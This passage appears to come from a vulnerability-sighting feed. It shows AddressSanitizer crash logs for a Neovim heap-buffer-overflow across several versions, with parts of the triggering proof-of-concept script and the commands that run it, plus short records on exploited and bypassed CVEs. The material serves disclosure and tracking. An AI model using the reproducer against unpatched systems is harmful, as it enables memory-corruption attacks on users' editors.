0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n #6 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #7 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #8 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #9 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n #10 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n #11 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n #12 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n #13 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n #14 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n #15 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n #16 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n #17 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n #18 0x7f2bac1ab082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e0014) in __asan_memmove\nShadow bytes around the buggy address:\n 0x0c067fff85d0: fa fa 00 00 00 03 fa fa 00 00 02 fa fa fa fd fd\n 0x0c067fff85e0: fd fa fa fa fd fd fd fd fa fa 00 00 00 05 fa fa\n 0x0c067fff85f0: fd fd fd fa fa fa 00 00 01 fa fa fa fd fd fd fd\n 0x0c067fff8600: fa fa 00 00 00 00 fa fa fd fd fd fa fa fa fd fd\n 0x0c067fff8610: fd fd fa fa fd fd fd fa fa fa 00 00 00 06 fa fa\n=>0x0c067fff8620: fd fd fd fd fa fa 00 00[05]fa fa fa fa fa fa fa\n 0x0c067fff8630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c067fff8640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c067fff8650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c067fff8660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c067fff8670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n Shadow gap: cc\n==18417==ABORTING\n\nCommand:\n./nvim-0.6.1 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',55).'Z', repeat('0',90)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==18766==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000094a5 at pc 0x0000004d5ff5 bp 0x7ffdaf34a270 sp 0x7ffdaf349a38\nWRITE of size 55 at 0x6030000094a5 thread T0\n #0 0x4d5ff4 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d5ff4)\n #1 0x8cb937 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4090:11\n #2 0x8c4da0 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n #3 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n #4 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n #5 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n #6 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n #7 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n #8 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n #9 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n #10 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n #11 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n #12 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n #13 0x7fe2f621e082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #14 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x45df4d)\n\n0x6030000094a5 is located 0 bytes to the right of 21-byte region [0x603000009490,0x6030000094a5)\nallocated by thread T0 here:\n #0 0x4d668d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d668d)\n #1 0xb5f062 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n #2 0xb5f224 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n #3 0x8d32cd in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3346:18\n #4 0x8cb8d4 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4085:21\n #5 0x8c4da0 in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6016:11\n #6 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n #7 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n #8 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n #9 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n #10 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n #11 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n #12 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n #13 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n #14 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n #15 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n #16 0x7fe2f621e082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d5ff4) in __asan_memmove\nShadow bytes around the buggy address:\n 0x0c067fff9240: 00 05 fa fa fd fd fd fa fa fa 00 00 00 00 fa fa\n 0x0c067fff9250: 00 00 01 fa fa fa fd fd fd fd fa fa 00 00 00 00\n 0x0c067fff9260: fa fa 00 00 00 00 fa fa fd fd fd fa fa fa fd fd\n 0x0c067fff9270: fd fa fa fa fd fd fd fd fa fa fd fd fd fa fa fa\n 0x0c067fff9280: fd fd fd fd fa fa 00 00 00 06 fa fa fd fd fd fd\n=>0x0c067fff9290: fa fa 00 00[05]fa fa fa fa fa fa fa fa fa fa fa\n 0x0c067fff92a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c067fff92b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c067fff92c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c067fff92d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c067fff92e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n Shadow gap: cc\n==18766==ABORTING\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: func! R()\n\nline 5: call setline(1, [repeat('a',55).'Z', repeat('0',90)])\n\nline 6: new\n\nline 6: unlet! b:keymap_name\n\nline 7: wincmd p\n\nline 8: silent! 1s/Z\\n0*/\\=R()/\n=================================================================\n==18811==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000004b55 at pc 0x0000004c6e05 bp 0x7ffe680acfb0 sp 0x7ffe680ac778\nWRITE of size 55 at 0x603000004b55 thread T0\n #0 0x4c6e04 in __asan_memmove (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c6e04)\n #1 0x7b9342 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3804:11\n #2 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n #3 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n #4 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n #5 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n #6 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n #7 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n #8 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n #9 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n #10 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n #11 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n #12 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n #13 0x7f8102ff9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n #14 0x44ed5d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x44ed5d)\n\n0x603000004b55 is located 0 bytes to the right of 21-byte region [0x603000004b40,0x603000004b55)\nallocated by thread T0 here:\n #0 0x4c749d in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c749d)\n #1 0x9db0d2 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:87:15\n #2 0x9db2a4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:15\n #3 0x7c017d in sub_grow_buf /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3085:18\n #4 0x7b9314 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3799:21\n #5 0x7b2dcc in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:6273:11\n #6 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n #7 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n #8 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n #9 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n #10 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n #11 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n #12 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n #13 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n #14 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n #15 0x974315 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:515:5\n #16 0x7f8102ff9082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.3.0-ASAN+0x4c6e04) in __asan_memmove\nShadow bytes around the buggy address:\n 0x0c067fff8910: 00 fa fa fa 00 00 00 05 fa fa fd fd fd fa fa fa\n 0x0c067fff8920: 00 00 00 fa fa fa 00 00 01 fa fa fa fd fd fd fd\n 0x0c067fff8930: fa fa 00 00 00 fa fa fa 00 00 00 00 fa fa fd fd\n 0x0c067fff8940: fd fa fa fa fd fd fd fa fa fa fd fd fd fd fa fa\n 0x0c067fff8950: fd fd fd fa fa fa fd fd fd fd fa fa 00 00 00 06\n=>0x0c067fff8960: fa fa fd fd fd fd fa fa 00 00[05]fa fa fa fa fa\n 0x0c067fff8970: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c067fff8980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c067fff8990: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c067fff89a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n 0x0c067fff89b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07 \n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Stack use after scope: f8\n Global redzone: f9\n Global init order: f6\n Poisoned by user: f7\n Container overflow: fc\n Array cookie: ac\n Intra object redzone: bb\n ASan internal: fe\n Left alloca redzone: ca\n Right alloca redzone: cb\n Shadow gap: cc\n==18811==ABORTING", "creation_timestamp": "2026-09-06T12:24:29.116381Z"} 2026-09-06T12:24:29.116381+00:00 https://vulnerability.circl.lu/sighting/6657c8e3-025e-4fae-a378-be568dd9d772/export 2026-09-17T10:26:47.077305+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "6657c8e3-025e-4fae-a378-be568dd9d772", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "creation_timestamp": "2026-09-06T10:15:10.000850Z"} 2026-09-06T10:15:10.000850+00:00 https://vulnerability.circl.lu/sighting/4af4a903-d15a-4832-ab51-4f64fa6445cd/export 2026-09-17T10:26:47.077402+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "4af4a903-d15a-4832-ab51-4f64fa6445cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47837", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/126645", "content": "Profile feature is vulnerable for Bypass Membership Plan. Attacker can manipulate the request to get \u201cMembership Plan\u201d without payingContinue reading on Medium \u00bb (https://revan-ar.medium.com/cve-2023-47837-armember-4-0-10-bypass-membership-plan-4bc1e63f044c?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T01:00:05.501073Z"} 2026-09-04T01:00:05.501073+00:00 https://vulnerability.circl.lu/sighting/4f724736-7b9e-49a6-a0f8-8cba2ea0404e/export 2026-09-17T10:26:47.077501+00:00 Automation user https://vulnerability.circl.lu/user/automation {"uuid": "4f724736-7b9e-49a6-a0f8-8cba2ea0404e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47837", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/126643", "content": "CVE-2023\u201347837: ARMember \u2264= 4.0.10\u200a\u2014\u200aBypass Membership Plan\nhttps://revan-ar.medium.com/cve-2023-47837-armember-4-0-10-bypass-membership-plan-4bc1e63f044c?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-04T01:00:05.214498Z"} 2026-09-04T01:00:05.214498+00:00